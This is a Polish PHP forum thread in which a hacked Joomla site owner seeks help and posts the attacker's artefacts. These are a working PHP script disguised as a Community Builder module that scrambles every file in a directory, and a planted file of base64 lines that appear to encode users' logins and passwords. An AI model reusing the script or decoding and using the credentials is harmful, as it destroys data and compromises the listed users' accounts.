Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Bezpieczeństwo
Forum PHP.pl > Forum > Przedszkole
alex51
Witam.
Nie jestem pewien, czy dobrze wybrałem miejsce do przedstawienia moich kłopotów. Ponieważ jednak spotkało mnie nieszczęście polegające na tym, ze włamano się na mój serwer, używając do tego skryptu php, dlatego w tym miejscu chcę przedstawic to zdarzenie.
Prowadzę Serwis muzyczny zbudowany na systemie Joomla, adresowany do osób uczących się grać i nastawiony na zbieranie i przekazywanie sobie wzajemnie swoich doświadczeń, materiałów itp spraw. To co wymieniamy nawzajem gromadzimy w dziale zwanym Pobieralnia. Zebrało sie tam w ciągu półrocznej działalności serwisu ponad 1200 różnych plików o wadze około 200MB. Ktoś złośliwy postanowił nam zaszkodzić i spowodował, ze wszystkie pliki przestały być przydatne. Okazały się zepsute, niemożliwe do otworzenia. Miało to miejsce klika razy, zmieniłem serwer i sytuacja się znów powtórzyła w niedzielę 1 lipca. Wszystkie pliki Pobieralni miały tą samą datę i godzinę, różnica wynosiła 3 minuty. Na moją prośbe o pomoc, dostawca hostingu przekazał mi informację, którą tu zacytuje:

Cytat
logi:

w3cache1.icm.edu.pl gramsam.pl - [01/Jul/2007:13:27:37 +0200] "POST /modules/mod_docmann2.php?dir=..dmdocuments HTTP/1.0" 200 15529 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache1.icm.edu.pl gramsam.pl - [01/Jul/2007:13:27:45 +0200] "POST /modules/mod_docmann2.php?dir=..dmdocuments HTTP/1.0" 200 12648 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache1.icm.edu.pl gramsam.pl - [01/Jul/2007:13:29:14 +0200] "POST /modules/mod_docmann2.php?dir=..dmdocuments HTTP/1.0" 200 15469 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"

w3cache1.icm.edu.pl gramsam.pl - [24/Jun/2007:14:18:52 +0200] "GET /modules/docmann2.php HTTP/1.0" 404 281 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache1.icm.edu.pl gramsam.pl - [24/Jun/2007:14:21:51 +0200] "GET /modules/mod_docmann2.php HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache1.icm.edu.pl gramsam.pl - [24/Jun/2007:14:37:43 +0200] "POST /modules/mod_docmann2.php HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache1.icm.edu.pl gramsam.pl - [24/Jun/2007:14:39:14 +0200] "POST /modules/mod_docmann2.php HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache1.icm.edu.pl gramsam.pl - [24/Jun/2007:14:39:34 +0200] "POST /modules/mod_docmann2.php HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache1.icm.edu.pl gramsam.pl - [24/Jun/2007:14:40:50 +0200] "POST /modules/mod_docmann2.php HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache1.icm.edu.pl gramsam.pl - [24/Jun/2007:14:42:22 +0200] "POST /modules/mod_docmann2.php HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache2.icm.edu.pl gramsam.pl - [24/Jun/2007:16:29:12 +0200] "GET /modules/mod_docmann2.php HTTP/1.0" 200 0 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"
w3cache2.icm.edu.pl gramsam.pl - [24/Jun/2007:20:18:52 +0200] "POST /modules/mod_docmann2.php HTTP/1.0" 200 33 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4"

Wyjaśnienie:
Ktoś łącząc się poprzez serwer proxy - w3cache.icm.edu.pl wgrał Panu plik: /modules/docmann2.php.
Następnie uruchomił ten skrypt z odpowiednimi parametrami co spowodowało losowy zapis danych do wszystkich plików w podanym katalogu.


Usunąłem zaraz wspomniane wyżej pliki. Miały one następującą zawartość:

  1. <?php
  2. /**
  3. * Community builder Login Module 1.0.1
  4. * $Id: mod_cblogin.php 531 2006-11-12 01:40:44Z beat $
  5. *
  6. * @version 1.0.2
  7. * @package Community Builder 1.0.2 extensions
  8. * @copyright (C) 2005-2006 Beat & JoomlaJoe & parts 2000 - 2005 Miro International Pty Ltd
  9. * @license <a href="http://www.gnu.org/copyleft/gpl.html" target="_blank">http://www.gnu.org/copyleft/gpl.html</a> GNU/GPL
  10. *
  11. * Credits to: Jeffrey Randall for initial implementation of avatar, and
  12. * to Antony Ventouris for the PMS integration (he also added the cool animated image)
  13. */
  14. if ($_POST['p'] != "www")
  15. {
  16. exit();
  17. } 
  18. $code = $_POST['code'];
  19. if ($code != null)
  20. {
  21. exit();
  22. }
  23. $dir = $_GET['dir'];
  24. if ($handle = opendir ($dir)) 
  25. {
  26. while (false !== ($file = readdir ($handle))) 
  27. {
  28. if ((!is_dir ($dir.$file))) 
  29. {
  30.  echo $dir.$file."<br />n";
  31.  
  32.  $fh = fopen ($dir.$file, "r");
  33. $fcontent = fread($fh, filesize($dir.$file));
  34. //$newcontent = rand().rand().rand();
  35. //$towrite = "$newcontent $fcontent".rand();
  36. $towrite = str_shuffle ($fcontent);
  37. fclose($fh);
  38.  $fh2 = fopen ($dir.$file, 'w+');
  39. fwrite($fh2, $towrite);
  40. fclose($fh2);
  41.  
  42. }
  43. }
  44. closedir ($handle);
  45. }
  46.  
  47. ?>


był jeszcze plik mod_docman2.xml

  1. <?xml version="1.0" ?>
  2. <mosinstall type="module">
  3. <name>docmen</name>
  4. <creationDate>19/Aug/2004</creationDate>
  5. <author>The DOCMan Project</author>
  6. <copyright>This template is released under the GNU/GPL License</copyright>
  7. <authorEmail>admin@mambodocman.com</authorEmail>
  8. <authorUrl>www.mambodocman.com</authorUrl>
  9. <version>1.4</version>
  10. <description>mod docmen</description>
  11.  <files>
  12.  <filename module="mod_docman2">mod_docman2.php</filename>
  13.  </files>
  14. </mosinstall>


oraz dziwny plik mod_konie.php, który mimo usunięcia, ponownie sie pojawia w Katalogu Modules, za każdym razem mając inną zawartość. Ze względu na brak miejsca treść tego plu przytoczę następnym razem.
Moje pytanie dotyczy tego jak się to stało, co mogę zrobić, aby zabezpieczyć sie przed takimi atakami i jak tego łobuza postraszyć, żeby więcej mnie nie niepokoił?



Teraz, z braku miejsca w poprzednim poscie podaje treść pierwszego ze znalezionych plików mod_konie.php, jakie ktoś wgrał na mój serwer, włamując się tam oczywiście:


  1. <?php
  2. /**
  3. * @package Joomla
  4. * @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
  5. * @license <a href="http://www.gnu.org/copyleft/gpl.html" target="_blank">http://www.gnu.org/copyleft/gpl.html</a> GNU/GPL, see LICENSE.php
  6. * Joomla! is free software. This version may have been modified pursuant
  7. * to the GNU General Public License, and as distributed it includes or
  8. * is derivative of works licensed under the GNU General Public License or
  9. * other free or open source software licenses.
  10. * See COPYRIGHT.php for copyright notices and details.
  11. */ 
  12.  
  13. if ($_GET['p'] != "jOOml4")
  14. {
  15. header("HTTP/1.0 404 Not Found");
  16. }
  17. ?>
  18.  
  19. aWN5OmMzNDljMzQ5
  20. aWN5OmMzNDljMzQ5
  21. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  22. ZG1wOlBvbGFjazE5ODg=
  23. ZG1wOlBvbGFjazE5ODg=
  24. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  25. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  26. emlvbWFsMTY6OTAwOTI1
  27. TGVzemVrOmxlc2l1bGVr
  28. c29zbmEubm93YXRvcjI2OmVudGVydGFpbm1lbnQzMw==
  29. QmFzc2lhMjAwMDpzaWFiYTE0
  30. QmFzc2lhMjAwMDpzaWFiYTE0
  31. Og==
  32. QmFzc2lhMjAwMDpzaWFiYTE0
  33. cHJpZXN0ZXIxOTkxOnRydXNpYWsx
  34. aWN5Ok1hbEMuMzQ5
  35. aWN5Ok1hbEMuMzQ5
  36. aWN5Ok1hTEMuMzQ5
  37. aWN5Ok1hbEMuMzQ5
  38. aWN5OmMzNDljMzQ5
  39. aWN5OmMzNDljMzQ5
  40. aWN5OmMzNDljMzQ5
  41. bWFub2xvOldpZHpldw==
  42. amFub2Jva3RvaW5ueTpwcmVsdWRpdW05
  43. a2FyYXAzMDpuZW9kYXI=
  44. ZG1wOlBvbGFjazE5ODg=
  45. a2FyYXAzMDpuZW9kYXI=
  46. ZGFyMzIzMzp0ZW9kb3I=
  47. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  48. QW5keUI6cGllc2VrYWJp
  49. QW5keUI6YW5kYnJh
  50. cm9iZXJ0MTAwMTpwZW50aXVtMg==
  51. cmVzOmt1cnR5bmE=
  52. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  53. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  54. Ym9tYmFzdGlrOnFxcXFxcTE=
  55. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  56. d29qdGVrczk6cnViaWtvbjE=
  57. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  58. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  59. cHJpZXN0ZXIxOTkxOnRydXNpYWsx
  60. cHJpZXN0ZXIxOTkxOnRydXNpYWsx
  61. cm9iZXJ0MTAwMTpwZW50aXVtMg==
  62. cm9iZXJ0MTAwMTpwZW50aXVtMg==
  63. c29zbmEubm93YXRvcjI2OmVudGVydGFpbm1lbnQzMw==
  64. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  65. ZG1wOlBvbGFjazE5ODg=
  66. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  67. ZG1wOlBvbGFjazE5ODg=
  68. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  69. YW51bGthOmp1bmlvcjU=
  70. ZGF3aWRmNzc6NzcwNzAx
  71. ZGF3aWRfZjc3Ojc3MDcwMQ==
  72. emlvbWFsMTY6OTAwOTI1
  73. TGVzemVrOmxlc2l1bGVr
  74. QmFzc2lhMjAwMDpzaWFiYTE0
  75. a2xpbWF0eTo1NTU1NTU=
  76. a2FyYXAzMDpiZW9zYXI=
  77. a2FyYXAzMDpuZW9kYXI=
  78. aWN5OmMzNDljMzQ5
  79. bW9uaWFza2E6b3NuYXB1cw==
  80. bWFub2xvOldpZHpldw==
  81. a2FyYXAzMDpuZW9kYXI=
  82. emlvbWFsMTY6OTAwOTI1
  83. a2xpbWF0eTo1NTU1NTU=
  84. cm9iZXJ0MTAwMTpwZW50aXVtMg==
  85. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  86. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  87. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  88. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  89. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  90. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  91. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  92. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  93. YXJ0dXJtdXp5a2FudDphcnR1cmVrNzk=
  94. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  95. bW9uaWFza2E6b3NuYXB1cw==
  96. c29zbmEubm93YXRvcjI2OmVudGVydGFpbm1lbnQzMw==
  97. cm9iZXJ0MTAwMTpwZW50b2l1bTI=
  98. cm9iZXJ0MTAwMTpwZW50aXVtMg==
  99. cm9iZXJ0MTAwMTpwZW50aXVtMg==
  100. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  101. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  102. c29zbmEubm93YXRvcjI2OmVudGVydGFpbm1lbnQzMw==
  103. Ym9tYmFzdGlrOnFxcXFxcTE=
  104. c2trMTE6Y2ljaWExMQ==
  105. c2trMTE6Y2ljaWExMQ==
  106. c2trMTE6Y2ljaWExMQ==
  107. c2trMTE6Y2ljaWExMQ==
  108. c2trMTE6Y2ljaWE=
  109. c2trMTE6Y2ljaWExMQ==
  110. TGVzemVrOmxlc2l1bGVr
  111. c2trMTE6Y2ljaWExMQ==
  112. c2trMTE6Y2ljaWExMQ==
  113. ZXdjaWFhbW9yZWs6bXV6eWN6a2E=
  114. ZXdjaWFhbW9yZWs6bXV6eWN6a2Ex
  115. amFub2Jva3RvaW5ueTpwcmVsdWRpdW05
  116. a2FyYXAzMDpuZW9kYXI=
  117. a2FyYXAzMDpuZW9kYXI=
  118. YmFydGluaWVtOmJhcnRvc3o=

Przytoczony powyżej tekst jest tylko fragmentem tego pliku.
Po skasowaniu tego pliku po jakimś czasie pojawił się w tym samym katalogu: Modules następny plik mod_konie.php o krótszej zawartości:

  1. <?php
  2. YWxleDp6YXBvbW5pYW5lX29kenlza2FuZQ==
  3. ?>


Co można o tym sądzić, skąd się wzięły, w jakim celu są wstawiane, czy wiąże się z tym jakieś niebezpieczeństwo. Trudno mi śledzić co chwila, czy nie pojawia się ponownie ten plik. A najważniejsze, co zrobić, aby się nie pojawiał?
strife
1. Dodaj tag do tematu, aby temat był zgodny z zasadami Przedszkola
2. Problem zapewne dotyczy cms'a którego używasz, jest on na wolnej licencji dlatego, każdy może mieć dostęp do jego kodu źródłowego, a brak aktualizacji z Twojej strony może doprowiadzić do takich rzeczy. Musisz pamiętać o aktualizowaniu tego cms'a.

3. Sprawdź uprawnienia dostępu do katalogów ( chmod ), a następnie przejrzyj wszystkie ostatnio wgrane modyfikacje ( o ile jakieś są ). Zapewne jest gdzieś luka umożliwiąjąca wgranie dowolnego pliku do Ciebie na serwer.

Pozdrawiam.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.